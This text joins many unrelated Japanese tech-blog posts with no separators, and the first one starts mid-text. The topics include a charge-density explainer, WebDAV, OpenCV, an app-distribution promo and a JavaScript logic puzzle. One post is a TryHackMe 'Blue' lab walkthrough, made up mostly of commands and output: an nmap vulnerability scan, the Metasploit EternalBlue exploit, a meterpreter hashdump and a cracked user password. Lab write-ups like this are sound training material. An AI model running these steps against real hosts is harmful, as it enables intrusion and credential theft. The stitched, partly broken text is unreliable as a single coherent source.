親戚に聞いた話では父は1970年代にこれからはコンピュータの時代と予見してマイコンを勉強。自分も2進法の計算等教えてもらっていたが小2の自分には難しかった。

- 蛇足1
CPU(中央処理装置)というけど正しくはMPU。
コンピュータの中に組み込んで初めて「中央」として働くからCPUになる訳で、コンピュータに入れていない単体としての場合は「中央」ではないので。
ADコンバータの中に入れた場合はAD変換を行う部品が「中央処理装置」となる。
一般的にはCPUと呼称するのでそう呼んでも間違いではないが手練れであれば正しく呼称して欲しい所。
- 蛇足2
工学系の人でチャタリングとバウンジングの違いを理解してない人が多すぎる。これも正しく使って欲しい。
電磁気学のお気持ちを理解する【電荷密度】

:::note warn
この記事は電磁気学のお気持ちを理解することに重点を置いています。そのため、厳密性とは程遠い説明が為されていることがあるため、予めご了承ください。
:::

# はじめに
今回は、電荷密度を考えるモチベーションについて説明します。結論から述べると、電荷には次の2つの要求が存在します。
1. 電荷はモノに附随する量ではなく、空間に対して定義される量であってほしい。
1. 電荷は点だけでなく、線や面、領域に対しても統一的に定義できる量であってほしい。

それぞれについて、なぜこのように定義するべきなのかの根拠と、どのようにしてこれを解決するかを見ていきます。


## 電荷はモノ対して定義される量ではなく、空間に対して定義される量であってほしい。
モノに対して定義される量として、パッと思いつくのは質量でしょう。質点を考えていた時も、剛体を考えていた時も、質量はモノに固有の量として定義され、位置や時間の変化を受けないと仮定していました。しかし、電荷はモノに固有の量ではなく、位置や時間によって変化します(例えば、コンデンサを例に考えてみると、充電中や放電中は極板の電荷は時間によって変化します)。電荷をモノに対して定義するのは、あまり良いとは言えなさそうです。さらに、質量と異なり、電荷は普遍的に存在します。現実的には、電荷は電子や陽子によるものですから、空間中の至る所に考えなければならない(無視できない)電荷の影響が存在するわけです。

この2つの問題は、モノに対して固有の量が決まっていて、それが空間中を移動しているのではなく、**空間中に時間変化する量が定まっていて、モノが存在する領域で量を切り取っている**と考えることで解決できます。この考え方に立つと、モノの移動は切り取る領域のほうが時間変化しているとして解釈されます。さらに、空間中に普遍的に電荷が存在する状態も、空間中に量を定義することによって全体を一気に定義することができます。


## 電荷は点だけでなく、線や面、領域に対しても統一的に定義できる量であってほしい。
前節で、電荷は空間中に定義される時間変化する量であるべきだと述べましたが、愚直に位置と時間の関数として電荷を与えると不都合が生じます。例えば、空間中に一様に同じ電荷$Q$が存在する状態を考えてみましょう。この時、適当な立方体の領域の内部に存在する電荷を考えたとすると、領域の内部の電荷はこれらの電荷の総和ですから、$Q$が領域内の点の数だ存在することになってしまいます。これは無限和ですから、$Q$が有限量であれば発散してしまいます。領域をどれだけ小さく取ってこようとも、電荷が有限量であればその内部の点は無限に存在するため、常に電荷が無限大になってしまうのです。唯一この考え方が通用するのは、点に対する電荷を考えるときだけで、それ以外の幾何学的対象(線や面、領域など)に対しては電荷は無限大となってしまい意味を為しません。従って、線や面、領域などに対しても統一的に電荷を与えるような共通のインターフェースが欲しいわけです。

この問題は、点に対して電荷が定まるのではなく、**点に対して電荷密度が定まる**と考えることで解決できます。点に対して定義されているのは、その点を含む領域をどんどん小さくしていった時の、領域の大きさと電荷の比例定数です(小難しく書いていますが、要するに微分係数です)。これを考えたいモノが線なら線積分を、面なら面積分を、領域なら体積積分を実行することによって、電荷を積分という共通のインターフェースで取り出すことができます。また、モノの移動は積分領域を変えることで表現できるため、前節の問題に対してもシームレスに対応できます。

しかし、このままでは、線や面、領域に対しては電荷をうまく定義できた反面、肝心の点に対して電荷が定義できません。電荷密度は比例定数なので、大きさ0の領域の電荷は常にゼロということになってしまいます。しかし、その他に対しては積分という強力なツールが一様に通用するため、可能な限り積分という体を崩したくはありません。そこで、Diracの$\delta$関数と呼ばれる新しい関数を導入します。これはザックリ言えば、次のような性質を持つ関数です。
$$\int_{V}dv\delta(v-v_{0})x(v)=x(v_{0})$$
要するに、**積分によって情報を取り出すことを前提とした関数から、点についての情報を取り出す**ための道具です。以上をまとめると、点、線、面、領域に対して電荷は次のように定義されます。
$$\int_{V}dv\delta(v)q(v)=Q_{point}$$
$$\int_{C}dsq(s)=Q_{path}$$
$$\int_{S}dSq(S)=Q_{surface}$$
$$\int_{V}dvq(s)=Q_{region}$$
当初の目的通り、電荷を統一的に定義できました。


# まとめ
電荷を扱いやすいように定義するために、積分によって量を取り出すことを前提とした電荷密度を位置の関数として定義します。その過程で、点に対する電荷がうまく定義できなくなるため、Diracの$\delta$関数を導入し、電荷を積分という共通のインターフェースで取り出せるようにします。
【TryHackMe】Blue Writeup  

## はじめに
TryHackMe の初学者向け Windows Box **「Blue」** の攻略メモです。

https://tryhackme.com/room/blue

## 環境

| 項目 | バージョン／値 |
|------|----------------|
| 攻撃端末 | TryHackMe AttackBox |
| nmap | 7.80 |
| Metasploit Framework | 6.4.55-dev |

IP アドレス表記について
- Targetのアドレス: \<TARGET_IP\>

## ポートスキャン
### nmapで全体像を把握

脆弱性スクリプトを同時に走らせるため `-sV -A --script vuln` を指定。
```
nmap -A -sV -v --script vuln <TARGET_IP> -oN blue_nmap.txt
```

nmapの結果からms17-010の脆弱性があると分かる。
```
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
```

## Exploitation

Metasploit を使い、EternalBlue モジュールを実行する。
```bash
> msfconsole
msf6 > search ms17_010
msf6 > use exploit/windows/smb/ms17_010_eternalblue
```
show options で設定項目を確認したら、以下をセットし実行する。
```bash
msf6 > set RHOSTS <TARGET_IP>
msf6 > run
```

## Post-Exploitation
### 権限確認
```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM   ← SYSTEM 権限
```

### ハッシュダンプ

```
meterpreter > hashdump
Administrator:500:...:...
Jon:1000:...:ffb43f0de35be4d9917ac0cc8ad57f8d:::
```

### ハッシュ解析
Jonのハッシュ値 `ffb43f0de35be4d9917ac0cc8ad57f8d` を [hashes.com](https://hashes.com/en/decrypt/hash) にかけると、Jon のパスワードが alqfna22 と判明。

# フラグの取得
Meterpreter からファイルを検索しダウンロード。

```shell
meterpreter > search -f *flag*
meterpreter > download "C:\\flag1.txt"
```

## 免責事項
本記事で紹介した手法を無許可環境で使用することは法律に抵触する可能性があります。必ず自己所有または明確に許可された範囲でのみ実施してください。
城間勝行：AIに最も流行りそうなアプリを聞いてみた

城間勝行です。
アイディア出しとして、AIに最も流行るアプリについて聞いてみました。

※そもそも城間勝行ってだれ？
https://www.yashima.ac.jp/univ/search.php?cx=001898054821632748893%3Apyvzqky4qqu&cof=FORID%3A10&ie=UTF-8&q=%E5%9F%8E%E9%96%93%E5%8B%9D%E8%A1%8C&sa.x=20&sa.y=13#gsc.tab=0&gsc.q=%E5%9F%8E%E9%96%93%E5%8B%9D%E8%A1%8C&gsc.page=1

## 📱アプリ名：**「Senka（センカ）」**

（選択＋感情＝選感 → Senka）

---

## 🧠概要

**今の気分に合わせて“選択”するだけで、エンタメ・SNS・日記・自己理解までが完結するAIライフログアプリ。**

---

## 🎯コンセプト：

**「感情を記録しながら、世界とつながる」**
日々の気分や状態を簡単に記録できるだけでなく、それに応じたコンテンツ（音楽・動画・記事・言葉）をAIが提案。さらに匿名で同じ気分の人たちと緩くつながれる仕組みを搭載。

---

## 🔑主な機能一覧

| 機能名           | 内容                                              |
| ------------- | ----------------------------------------------- |
| 感情選択ログ        | 1日1回、今の気分を選ぶ（例：元気・だるい・怒ってる・嬉しい・孤独）              |
| AIレコメンド       | 気分に応じて、YouTube、Spotify、Instagramなどから最適なコンテンツを提案 |
| ミニ日記          | 感情にひとこと添える。AIが要約＆振り返りサマリーを週次で自動生成               |
| 「同じ気分」の人とつながる | 完全匿名で同じ気分のユーザーが投稿したメッセージを閲覧（共感・いいね機能あり）         |
| セルフマップ        | 感情の変遷を可視化。どんな時に調子がいいかを自動分析                      |
| ウィジェット対応      | ホーム画面に今日の気分とひとことメッセージを表示                        |

---

## 📊想定ターゲット

* 10〜30代のZ世代・ミレニアル世代
* SNS疲れしているけど、誰かとつながっていたい層
* メンタルヘルスに関心があるユーザー
* 感情管理・自己理解をしたいが、手間はかけたくない人

---

## 🚀流行りそうな理由

1. **“共感”を軸にした新しいSNS体験**：フォロワーではなく「気分」でつながる
2. **短時間・低負荷**：1日10秒でOK。習慣化しやすい
3. **AI活用**：ユーザーごとにパーソナライズされた提案
4. **匿名性の安心感**：リアルの自分をさらさず、人とつながれる
5. **メンタルケア×ライフログのトレンド**：AppleやGoogleも注力している分野

---

## 🧪今後の拡張アイデア（バズ対策）

* 気分に応じてAIが作る「今日のひとこと詩」
* 有名人・インフルエンサーの気分ログ（許諾型）
* 感情データをもとに自動で「気分ムービー」生成
* 他アプリ連携（Spotify、Notion、Instagramなど）
【用語解説】WebDAV （Web Distributed Authoring and Versioning）

:::note info
技術書を読んでいたら出てきた単語...。流石に気になる...。
:::

## 概要
WebDAVは「Web上で分散的に文書を作成・編集・管理する」ための拡張使用で、HTTPの新たなメソッドやヘッダーを定義している。

・標準のHTTP(GET/PUT/POSTなど)に加えて、PROPFIND/PROPPATCH、COPY、MOVE、LOCK、UNLOCK、MKCOLなどを追加している。
・もともとは1996年にW3Cで提供され、IETFのWebDAVワーキンググループでRFCにまとめられた。

## 主な機能
### プロパティ管理
・リソース（ファイルやディレクトリ）に対してXML形式のメタ情報（作成者、更新日時など）を付与・変更・取得出来る機能を提供する。

:::note info
`PROPFIND`/`PROPPATCH`メソッドで一括取得・更新が可能。
:::

### 名前空間管理
・コピー（`COPY`）や移動（`MOVE`）メソッドにより、URI上のリソースをサーバー内で再配置出来る。

・ディレクトリ構造（コレクション）の一覧取得や階層管理も`PROFFIND`で実現。

### コレクション操作（`MKCOL`）
・リモート上で新しいディレクトリを作成出来る。
・WebDAVではフォルダを"コレクション"と呼び、ファイルと同様に操作出来る。

:::note info
`MKCOL`メソッドで実現可能。
WebDAVではフォルダをコレクションと呼び、ファイルと同様に操作出来る。
:::

### ロック機能（`LOCK`/`UNLOCK`）
・共同編集時の競合を避けるため、共有ロック(複数ユーザーで読み取り専用)、専有ロック（一人だけしか編集出来ないよ！！）というモードもある。

・LOCKでロックを掛け、UNLOCKで解除。必要に応じてタイムアウトも設定可能

:::note info
最近はBoxなどのクラウドサービスでもWebDAVのサポートは終了している。
要は古い技術なのである。
:::

## 参考文献（参照日2025年5月24日）

https://http.dev/webdav
AppShot 開発舞台裏 ─ Vue.js + TypeScript で作る “配布だけ” サービス

## 0. ちょっとだけ自己紹介

こんにちは、**ルークシム株式会社** でアプリやらwebサービスやらを開発しています。
社内アプリをテスト用に “サクッと配りたい勢” のみなさん、日頃こんなモヤモヤありませんか？

* USB ケーブルで **毎回** インストール → 地味に面倒  
* DeployGate みたいなサービスはあるけど、  
  * 月額がちょっと高い…  
  * 機能が多すぎて “配布しか要らん！” な時にダルい…  

ここをシンプルに解決したくて、**社内ツールとしてちゃちゃっと作ったもの** を  
そのままサービス化したのが **AppShot** です 🎉

> 👀 **試してみたい人はこちら（営業） →** <https://app-shot.com/>　

---

## 1. AppShot って結局なにができるの？

| やれること | ひとことで |
|---|---|
| 📲 **かんたんインストール** | URL タップだけ。USB 不要。 |
| 🔗 **かんたん共有** | 「このリンクどうぞ！」でおわり。 |
| 🔐 **ちゃんと安全** | パスワード or メンバー限定公開。 |
| 🚀 **高速テストフロー** | CI/CD で自動デプロイ → すぐテスト。 |
| 🤝 **主要 CI/CD と連携** | GitHub / GitLab / Jenkins など。 |
| 💰 **業界最安（たぶん）** | 他社の 1/4 くらい（自社調べ）。 |

---

## 2. 技術スタックざっくり

### 🖼 フロントエンド
- **Vue 3** ＋ **TypeScript**  
- **Vuetify** でサクッとマテリアルデザイン  
- **Vue Router** & **Vue I18n**（日本語 / 英語）

### ⚙️ バックエンド（ぜんぶ AWS）
- **API Gateway + Lambda**：REST API  
- **Cognito**：ユーザー認証  
- **RDS**（Aurora MySQL）  
- **S3 + CloudFront**：アプリ & 静的ファイル配信  
- **CloudWatch**：ログ & アラート

> **ポイント**：全部サーバーレスなので**放っておいてもスケール**するし、  
> メンテコストも比較的安価です 🙌

---

* SPA は CloudFront でキャッシュ  
* API はリージョン内の Lambda へ  
* 認証は Cognito、ファイルは S3 直アップロード（署名付き URL）  

---

## 3. I18n の書き方

Vue I18n を `<i18n>` ブロックに埋め込むと **コンポーネント完結** にしました。
意図としては、改修時に、コンポーネント内に定義することですぐに対象の言語を探せるようにしています。
言語データをまとめる方法もありますが、探すのが大変になるので1ファイルにまとまる形にしました。

```vue
<i18n lang="yaml">
ja:
  easyInstall: "USBケーブル不要でアプリを簡単インストール"
en:
  easyInstall: "Install apps easily without USB cables"
</i18n>
````

---

## 4. 料金プラン（ざっくり）

| プラン         | 月額  | 想定ユーザー   |
| ----------- | --- | -------- |
| 🆓 個人       | ¥0  | 趣味アプリ配布  |
| 💼 事業者（月契約） | ¥★  | 小規模チーム   |
| 🏢 事業者（年契約） | ¥★★ | ガッツリ使う会社 |

※ ★は公式サイトでチェックしてください！

---

## 5. CI/CD との連携例（GitHub Actions）

```yaml
name: Deploy to AppShot
on: [push]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Build APK
        run: ./gradlew assembleRelease
      - name: Upload to AppShot
        env:
          APS_API_KEY: ${{ secrets.APS_API_KEY }}
        run: |
          curl -F "file=@app-release.apk" \
               -F "changelog=$(git log -1 --pretty=%B)" \
               https://api.app-shot.com/v1/upload
```


## 6. まとめ

> **“配布だけ” に全振りしたら、想像以上にラクでした。**

もし

> *テストのたびに **USB** つなぐのがメンドイ…*
> *DeployGate 高い…*

と感じているチームがいたら、ぜひ一度使ってみてください 🙌

---

## おわりに

* **個人なら無料** なので、気軽にどうぞ！
* 感想・要望・バグ報告、大歓迎です。

[https://app-shot.com/](https://app-shot.com/)

---

### P.S.

Qiita に記事を書くのは久しぶりなので、
「ここもっと詳しく！」などあればコメントでお気軽に 🤗
【Python】OpenCVを用いた画像処理

## 色空間の変換
### 色空間の概要
色空間(color space)は立法的に記述される色の空間であり、RGB(Red Green Blue)やHSVなどがよく用いられます。HSVは色相(Hue)、彩度(Saturation)、明度(Value)の略です。

https://ja.wikipedia.org/wiki/色空間


### OpenCVにおける画像の読み込みと色空間の変換
下記のようなスクリプトを実行することでOpenCVを用いて画像の読み込みを行うことができます。

```python
import cv2

image = cv2.imread('images/sample1.png')

print(type(image))
```

・実行結果
```
<class 'numpy.ndarray'>
```

上記より、`cv2.imread`メソッドを用いて画像の読み込みを行う場合、読み込んだ結果が`NumPy`形式で保存されることが確認できます。この読み込んだ画像はBGR形式で表されますが、下記のようなコードを実行することでHSV形式に変換することができます。

```python
image_hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)
print(type(image_hsv))
```

・実行結果
```
<class 'numpy.ndarray'>
```

大元の色空間がBGRであるので上記では`cv2.cvtColor(image, cv2.COLOR_BGR2HSV)`のように指定することで色空間の変換を行います。HSVを用いる利点についてはたとえば下記のように明度のヒストグラム平坦化を行うことによって明度に偏りのある画像を見やすくすることが可能です。

・入力画像
![sample2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936087/494f6f5c-1165-4510-a49d-3996eb8de706.png)

```python
import cv2
from matplotlib import pyplot as plt

image = cv2.imread('images/sample1.png')
image_hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)

equ = cv2.equalizeHist(image_hsv[:, :, 2])

new_hsv = cv2.merge((image_hsv[:, :, 0], image_hsv[:, :, 1], equ))
new_image = cv2.cvtColor(new_hsv, cv2.COLOR_HSV2BGR)

cv2.imwrite("results/output1.png", new_image)
```

・実行結果
![output2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936087/6b44fe08-c806-40db-9f58-632bf04d5df9.png)

明度のヒストグラム平坦化による値の変化については下記のコードを実行することでヒストグラムに基づいて確認できます。

```python
import cv2
from matplotlib import pyplot as plt

image = cv2.imread('images/sample2.png')
image_hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)

equ = cv2.equalizeHist(image_hsv[:, :, 2])
new_hsv = cv2.merge((image_hsv[:, :, 0], image_hsv[:, :, 1], equ))
new_image = cv2.cvtColor(new_hsv, cv2.COLOR_HSV2RGB)

fig, ax= plt.subplots(1, 2)

ax[0].hist(image_hsv[:,:,2])
ax[1].hist(new_hsv[:,:,2])
    
plt.savefig("results_hist.png")
```

・実行結果(左がヒストグラム平坦化前、右がヒストグラム平坦化後)
![results_hist.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936087/023d340d-4812-4a70-925c-60d8ef588473.png)

実行結果より、ヒストグラム平坦化によって明度のヒストグラムが一様分布に近づいていることが確認できます。同様に標準偏差は下記のように計算できます。

```python
import numpy as np
print(np.mean(image_hsv[:,:,2]), np.std(image_hsv[:,:,2]))
print(np.mean(new_hsv[:,:,2]), np.std(new_hsv[:,:,2]))
```

・実行結果
```
54.65961077064878 53.95692110666106
129.39104111111894 72.44996902502072
```

計算結果より、ヒストグラム平坦化後の方が標準偏差が大きくなっていることが確認できます。
ミャクミャク盗んだ人を特定しようとしてみた

2025年の大阪・関西万博会場で

ミャクミャクのぬいぐるみが盗まれたという報道

を見て

 

いつも使っているGeminiさんに聞いてみた

みゃくみゃく盗んだ人特定してください


![スクリーンショット-2025-05-16-200013.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3876454/6330dc31-7f56-4864-a0f5-b10621629242.png)


これは、たぶん翻訳の設定の問題な気もしますが

いつもは、こんなこと(英語で回答）になりません。

それはそうと
スクロールしていくと

![スクリーンショット-2025-05-16-200539.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3876454/7aa53b1e-3c45-498e-a825-91aa5335713e.png)

少し日本語を挟んだのちに

なにやら

呪文のようなものが・・・

![スクリーンショット-2025-05-16-200104.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3876454/0d73ea22-2ec5-4777-a06f-6fa52ea21981.png)


なんでこんなのが起きたのだろう

内容同じ（もともと書いてたのはこちら）
https://samidare.co.jp/20250517_4226/
条件分岐 × 論理式



今回のPaiza問題は、「AND」「OR」を使ってうまくYESを言わせる問題に挑戦してみた！

<Br>


## 🔍問題概要

3つの整数 `X`, `Y`, `Z` が与えられる。

- Zが10以上 → 無条件で YES
- Zが10未満 → X と Y が両方10以上なら YES、どちらか足りなければ NO

<br>

入力例：
    
    15 12 0

出力例：
    
    YES

<br>

https://paiza.jp/works/mondai/conditions_branch/conditions_branch__bool_boss

<br><br>

## コード例：
```js
const rl = require('readline').createInterface({ input: process.stdin });

rl.once('line', (input) => {
    const [x, y, z] = input.split(' ').map(Number);

    let result;
    if (z >= 10) {
        result = "YES";
    } else if (x >= 10 && y >= 10) {
        result = "YES";
    } else {
        result = "NO";
    }

    console.log(result);
    rl.close();
});
```
これでも正解だけど、本問題はOR記号を用いることで 1 回だけの条件分岐で正解することもできる！

<Br><Br>

## ✅ AND + OR

```js
const rl = require('readline').createInterface({ input: process.stdin });

rl.once('line', (input) => {
    const [x, y, z] = input.split(' ').map(Number);

    if ((x >= 10 && y >= 10) || z >= 10) {
        console.log("YES");
    } else {
        console.log("NO");
    }

    rl.close();
});
```
論理演算子 `||`（または）は左側が `false` でも右側が `true` なら全体が `true` になる。

つまり：

`Z >= 10` のとき → `true || …` なので必ず “`YES`”。

`Z < 10` のとき → `x >= 10 && y >= 10` を評価。



### ✅ メリット
- コードが簡潔になる。
- 可読性も高い。

<br><br>

## 📘メモ
- `||`（OR）は 片方が `true` なら全体も `true`
- `&&`（AND）は 両方が `true` でなきゃ `false`
- 条件式は「左 → 右」に評価され、`true` になった時点で終了（短絡評価）
- `if ((A && B) || C)` は、「 `C` が `true` なら `A` や `B` は無視してOK」に使える！

<br>

## まとめ

今後も複数条件を扱うときには、論理演算子の性質（優先順位・短絡評価）を意識すると、スマートなコードが書けそう！


<br><br><br>[僕の失敗談(´;ω;｀)と解決法🐈](https://paizabeginner.wordpress.com/%e8%a8%98%e4%ba%8b%e4%b8%80%e8%a6%a7/)
趣味の考え方と増やし方

# はじめに
こんにちは、cheruです。
今回は趣味について考えてみました。趣味を見つけるために参考になったら嬉しいです。

# 趣味とは
「趣味って何？」
そう聞かれて、すぐに答えられる人は案外少ないのかもしれません。
なぜなら、「趣味」とは、単に時間を潰すための娯楽やスキルだけではなく、自分がどんな人間かを映し出す鏡でもあるからです。

「音楽鑑賞」「読書」「映画」など、そういった一般的なものだけでなく、他人から見れば「それが趣味？」と驚かれるようなことも、本人にとっては心を支える大切な活動だったりします。
趣味とは、その人の感性や経験、時には人生そのものを物語る言葉なのです。

# なぜ趣味を聞くのか
誰かと話していて、「趣味はなんですか？」と聞かれる場面があります。
この質問の裏には、単なる情報収集ではなく、もっと深い意図があります。

たとえば、こんな想いが込められています：
・「あなたの好きなこと、夢中になれることを知りたい」
・「どんなきっかけでそれに出会い、どう楽しんでいるのか聞いてみたい」

つまり、その人の“内側”を知るためのやさしい扉として、「趣味」の話があるのです。
好きなことを話しているとき、人は自然に笑顔になります。そこには、その人らしさがにじみ出る。
だからこそ、趣味の話は人と人との距離を縮める最高のトピックなのです。

# 趣味の増やし方
「趣味は2～3個あればいい」
「続けていなければ趣味とは言えない」
「本当に上澄みしか知らないから、初心者だからまだ趣味とは言えない」
そう考えている人もいるかもしれません。でも、私はこう思います。

趣味は、いくつあってもいい。
そして、たとえ“ちょっとかじっただけ”でも、興味を持った時点でそれはもう立派な趣味だと。

たった一度でも「面白い」と感じたなら、それはあなたの感性が反応した証拠です。深く掘り下げるかどうかは関係ないのです。
続かなかったとしても、やってみた事実こそが大切なのです。

# 趣味の作り方
私自身、両手では数えきれないほどの趣味があります。もちろん、すべてが長続きしているわけではありません。しかし、そのすべてに「発見」がありました。

ここでは、私なりの「趣味の作り方」をご紹介します。
## 衝動的に行動する
YouTube、X（旧Twitter）、Instagram など
日常的に何気なく見ているSNSの中で、「ちょっとやってみたい」と思うことがあれば、それをその場でやってみます。

本を買う。道具を揃える。申し込んでみる。
飽きても、途中でやめてもいいんです。「やってみた」という経験は、確実にあなたの中に残ります。
やらなかったらゼロ。やってみたら、少なくとも「自分には合わなかった」という知見が手に入ります。

買って続かなかったらもったいない？
いえ、それは“未来の自分の投資”です。

## 周りを見てみる
「周り」とは、決して人間関係の“距離”だけを意味しません。

たとえば
・街の喫茶店で流れていた音楽
・道端の花の香り
・旅先で飲んだ地酒
・偶然テレビで見かけた職人の手仕事

五感で感じる「なんかいいな」は、すべてが趣味になる芽です。目に映るもの、耳に入る音、鼻をくすぐる匂い、舌が感じる味、そして手で触れる質感。
それらひとつひとつに対して、素直な好奇心を持ってみてください。

## 他人の趣味を借りてみる
家族や友人、職場の同僚など、誰かの趣味の話を聞いてみる。そして、ちょっとだけ真似してみる。

「どんなところが面白いの？」
「最初はどう始めたの？」

そんな会話から入ると、相手との距離も縮まりますし、自分の世界も広がります。
「私には合わなかったな」でもOK。逆に「これ、思ってたより楽しい！」となることもあります。

## 趣味で目立つ
番外編ですが、人と同じ趣味を持ちたくない人、変わったことがしたい人もいると思います。
少し物事と向き合うときに視点をずらしてみてください。
一般的な楽しみ方以外にも楽しめるポイントはあります。

私の一般的ではない趣味の一例を紹介します。
水族館で魚の横の面（頭から尾まで）を撮影する人が多いですよね。勿論、その楽しみ方もします。
では、魚を正面から撮影したことはありますか？（眼球が両方見えたり、口の中身が見えたり、尾が見えない向き）
フグの唇や歯の愛おしさなど正面からしか得られない面白さがありますよ。

そんなふうに「ちょっと違う視点」で楽しんでみると、思わぬ面白さや感動に出会えることがあります。

# おわりに
趣味とは、自分の「楽しい」という感情を増やす、豊かに生活を送るために必要な要素だと思います。
自分の「楽しい」を見つけるために、まずは物事を知り、それを実際にやってみてください。
うまく続かなくても構いません。小さな興味の積み重ねが、きっとあなたの世界を広げてくれます。
皆さんの毎日が、たくさんの「楽しい」気持ちで彩られますように。

この文章を見て何かを始めてみた人がいらっしゃったら、ぜひコメントで教えてください。
ソフトウェア開発におけるMindsetとToolsetについて

Mindsetという言葉をご存知でしょうか？日本語では「マインドセット」とカタカナ表記されることが多いですが、「考え方」や「思考法」と訳されることもあります。ただ、心理学の定義によれば、「思考（Thinking）」とは「情報を操作し、概念を形成し、問題解決や意思決定、反省的・創造的思考を行うプロセス」を指します。一方、Mindsetは「態度、見解、前提、習慣」の集合体であり、思考プロセスの結果として生まれるものです。つまり、思考がMindsetに直接影響を与えるのです。

では、Toolsetとは何でしょうか？Toolsetは、仕事や作業を助ける道具の集合体です。たとえば、IDEや開発フレームワーク、ライブラリなどがこれに当たります。Toolsetは私たちのニーズを満たしてくれますが、長期間使いすぎると、自分の能力が低下してしまうこともあります。

MindsetとToolsetはどのように関係しているのでしょうか？エンジニアの世界では「フレームワークやライブラリを使う前に基礎を学べ」というアドバイスがよくあります。フレームワークの乱用の根本的な原因はどこにあるのか？それは「ベトナム人は手っ取り早いことを好むからだ」などとよく言われますが、実際は違います。使っているフレームワークの多くは海外で開発されたものです。違いは、ベトナム人と海外のエンジニアのMindsetにあるのです。

どんなToolsetにも、必ずその背後にはMindsetがあります。Toolsetが生まれた理由や目的があるのです。万能なToolsetは存在しません。言語やツール、フレームワークは、私たちが直面する問題の一部しか解決できません。Toolsetを乱用してしまうのは、そのToolsetのMindsetを理解していないため、もしくは自分自身のMindsetに問題があるためです。

たとえば、プロジェクトにアジャイルを導入するときは、アジャイルMindsetを理解しなければなりません。プロシージャ指向からオブジェクト指向に移行するときも、Mindsetを変える必要があります。モノリシックからマイクロサービスへの移行も同じです。

幸い、Mindsetは変えるのが難しいですが、変えることは可能です。Toolsetを変える（つまりMindsetを変える）際に苦労する人も多くいます。解決策は、そのToolsetのMindsetをしっかり理解し、深く学ぶことです。いきなり使い始めると、後で大きな問題にぶつかることもあります。

---

## すべての問題に適用できる2つのMindset

問題の根本を解決するためには、どのMindsetが他のMindsetの形成に影響を与えているかを理解する必要があります。Carol Dweck著「Mindset: The New Psychology of Success」によれば、人のMindsetには「Fixed Mindset（固定型）」と「Growth Mindset（成長型）」の2種類があります。

- **Fixed Mindset（固定型）**  
  才能は生まれつきで変えられないと信じているタイプです。何をやっても無駄だと思い、失敗した人はずっと失敗し続けると考えます。自分が「頭がいい」と言われると、それを守るために学習や努力を避ける傾向があります。
- **Growth Mindset（成長型）**  
  才能は努力や経験で伸ばせると信じているタイプです。課題や挑戦を成長の機会と捉え、誰もが自分より賢くなれると信じています。もちろん、誰でもアインシュタインになれるわけではありませんが、学びや努力で賢くなれると考えます。

つまり、学びに対するMindsetが、他のMindsetの形成に大きな影響を与えます。Mindsetは学びと実践を通じて培われるものです。実際の現場でよく見られる良くないMindsetの例をいくつか紹介します。

- 数学が得意でないとエンジニアになれない
- 言語Aを使う人は言語Bを使う人より優秀
- 女性は男性よりコーディングが苦手
- コーディングが上手ければ良い仕事ができる
- 有名大学出身者は普通の大学出身者より仕事ができる
- これだけ勉強すれば十分
- 独学の方が人から教わるより良い

現場では「System Thinking」「Product Mindset」「Agile Mindset」「Project Mindset」「Leadership Mindset」など、さまざまなMindsetが語られます。実際、職種や立場によって必要なMindsetは異なります。たとえば、プロダクトマネージャーにはProduct Mindset、プロジェクトマネージャーにはProject Mindset、リーダーにはLeadership Mindsetが必要です。多くの人は、意識せずにこれらのMindsetを使っていますが、自分のMindsetを他人に押し付けると、仕事で衝突が起きやすくなります。他人の立場に立って考えることで、より理解し合えるようになります。

---

## MindsetとToolsetの関係

どんなToolsetにも、必ずMindsetが存在します。Toolsetは万能ではなく、言語やツール、フレームワークは問題の一部しか解決できません。Toolsetを乱用してしまうのは、そのToolsetのMindsetを理解していないため、もしくは自分自身のMindsetに問題があるためです。

- **アジャイルを導入するときは、アジャイルMindsetを理解する**
- **プロシージャ指向からオブジェクト指向に移行するときは、Mindsetを変える**
- **モノリシックからマイクロサービスに移行するときも、Mindsetを変える**

Mindsetは変えるのが難しいですが、変えることは可能です。Toolsetを変える際に苦労する人は多いですが、そのToolsetのMindsetをしっかり理解し、深く学ぶことが大切です。いきなり使い始めると、後で大きな問題にぶつかることもあります。

---

## まとめ

ソフトウェア開発において、MindsetとToolsetは密接に関係しています。Toolsetを効果的に活用するには、その背後にあるMindsetを理解し、自分自身のMindsetも見直すことが重要です。Mindsetは変えるのが難しいですが、意識して学び続けることで、より良い開発者へと成長できます。
【ChatGPT】ゴミ分別で迷うものを仕分けるためのPromptです。


　どうも、カーブミラーです。

　今回は、ゴミ分別で迷うものを仕分けるためのPromptです。

:::note info
本記事は、ChatGPT（Plus版）
で行なっております。
画像はありません。あしからず。
:::
　ChatGPT等の動作状況を知らせる
　　OpenAIのステータスページ。
　　　[OpenAIステータス](https://status.openai.com/)
***
　こちらも載せますね。
　　[ChatGPTが使えない？ログインできない・反応しない原因やエラー時の対処法を解説](https://aismiley.co.jp/ai_news/chatgpt-error-resolution-explanation/)
***
　著作権法については
　　こちらを参照するのが
　　　良いのではないかと。

　文化庁レポートをもとにした
　　著作権法についての動画（約20分）
